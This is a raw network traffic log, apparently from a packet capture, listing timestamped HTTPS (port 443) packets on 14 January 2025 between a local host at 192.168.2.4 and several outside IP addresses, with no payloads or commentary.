Jan 14, 2025 08:13:02.567133904 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.567158937 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.567177057 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.574667931 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.574714899 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.574760914 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.574774981 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.588738918 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.588804007 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.589238882 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.589315891 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.589385033 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.589430094 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.589462996 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.589517117 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.589703083 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.589724064 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.589864969 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.589874983 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.602638006 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.602689981 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.602694988 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.602715969 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.602765083 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.609956026 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.610050917 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.610122919 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.610203981 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.610244989 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.610302925 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.610373974 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.610399008 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.610486031 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.610508919 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.617136955 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.617202997 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.617218971 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.659991026 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.840770960 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.840835094 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.840876102 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.840925932 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.840943098 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.841043949 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.841371059 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841401100 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841469049 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841486931 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841531038 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841553926 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841592073 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841670036 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841723919 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.841728926 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841778994 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.841789007 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841803074 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841803074 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841825008 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.841854095 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.841855049 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.841974020 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.841980934 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.842014074 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.842026949 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.842026949 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842058897 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.842058897 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.842078924 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842082024 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.842101097 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842113018 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.842123985 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.842153072 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.842165947 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842169046 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.842186928 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842190027 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.842216969 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.842247009 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842252970 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.842283964 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.842310905 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.842315912 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.842324018 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.842408895 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.843153954 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.843610048 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.843641996 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.847351074 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.847512007 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.847526073 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.853126049 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.853171110 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.853250980 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.864392996 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.864450932 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.864635944 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.865679026 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.865703106 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.865916967 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.866010904 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.866034985 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.866369009 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.868977070 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.869031906 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.869136095 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.869673967 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:02.869705915 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:02.878356934 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.878451109 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.878796101 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.891066074 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.891153097 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.891170025 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.903707027 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.903805971 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.904006958 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.916450977 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.916534901 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.916542053 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.916619062 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.929023027 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.929090023 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.929212093 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.941720009 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.941961050 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.941988945 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.964673996 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.964806080 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.977859974 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.977936029 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:03.027415991 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.027486086 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.027631044 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.027839899 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.027848959 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.027868032 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.027870893 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.028040886 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.030555010 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.030570030 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.117763042 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.117805004 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.118129015 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.118226051 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.118268013 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.119606972 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.119642973 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.119688034 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.120531082 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.120568037 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.326052904 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:13:03.326126099 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:13:03.326231956 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:13:03.510421991 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.510950089 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.510987997 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.512660980 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.512996912 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.513060093 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.513766050 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.513866901 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.513885021 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.514339924 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.514405012 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.518048048 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.518145084 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.518151045 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.518198967 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.520143032 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.520317078 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.520343065 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.520384073 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.520428896 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.520446062 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.520689011 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.520709038 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.521400928 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.522088051 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.524013042 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.524177074 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.526787996 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.526871920 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.527637959 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.527708054 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.528165102 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.528179884 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.528229952 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.528254986 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.567631960 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.567679882 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.567703009 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.573985100 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.583664894 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.612607002 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.743419886 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.760708094 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.786318064 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.804025888 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.924057007 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.924084902 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.924149036 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.924186945 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.927514076 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.927602053 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.927858114 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.927932024 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.929347038 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.929533958 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.929627895 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.929832935 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.930083990 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.930099964 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.930284977 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.930305004 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:03.932254076 CET	49738	443	192.168.2.4	142.250.185.132
Jan 14, 2025 08:13:03.932287931 CET	443	49738	142.250.185.132	192.168.2.4
Jan 14, 2025 08:13:03.939480066 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.939774990 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.939836979 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.941003084 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.941241980 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.941318035 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.941438913 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.942636013 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.942917109 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.942940950 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.943428040 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.943696976 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.943779945 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:03.944025993 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.981443882 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.981587887 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:03.981637001 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:03.987332106 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.018114090 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.018554926 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.018619061 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.020087004 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.020148993 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.020648003 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.020735979 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.020930052 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.020947933 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.026787043 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.027131081 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.027148962 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.030704021 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.030777931 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.031280041 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.031469107 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.031477928 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.046777010 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.046838999 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.046859980 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.046881914 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.046916962 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.046994925 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.046994925 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.047030926 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.047065973 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.047087908 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.047116041 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.048645973 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.048696995 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.048739910 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.048772097 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.048835993 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.048894882 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.049031973 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.049081087 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.052861929 CET	60485	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.052894115 CET	443	60485	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.053348064 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.053416014 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.053493977 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.054619074 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.054651022 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.057482004 CET	60484	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.057513952 CET	443	60484	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.057729959 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.057770967 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.057820082 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.058115959 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.058188915 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.058212042 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.058233023 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.058244944 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.058269978 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.058296919 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.058296919 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.058826923 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.058847904 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.060240984 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.060303926 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.060373068 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.060434103 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.060467958 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.060533047 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.062485933 CET	60483	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.062515020 CET	443	60483	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.075249910 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.075320005 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.075349092 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.075392962 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.106744051 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.106764078 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.121968031 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.140706062 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.140737057 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.140790939 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.140806913 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.140842915 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.140858889 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.140878916 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.140894890 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.140924931 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.140924931 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.140948057 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.140996933 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.141047955 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.141741991 CET	60486	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.141760111 CET	443	60486	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.180514097 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.180562973 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.180700064 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.181395054 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.181432009 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.268357992 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.268419027 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.268440008 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.268459082 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.268567085 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.268567085 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.268567085 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.268610001 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.288089991 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.288125992 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.288136005 CET	443	60489	110.93.159.38	192.168.2.4
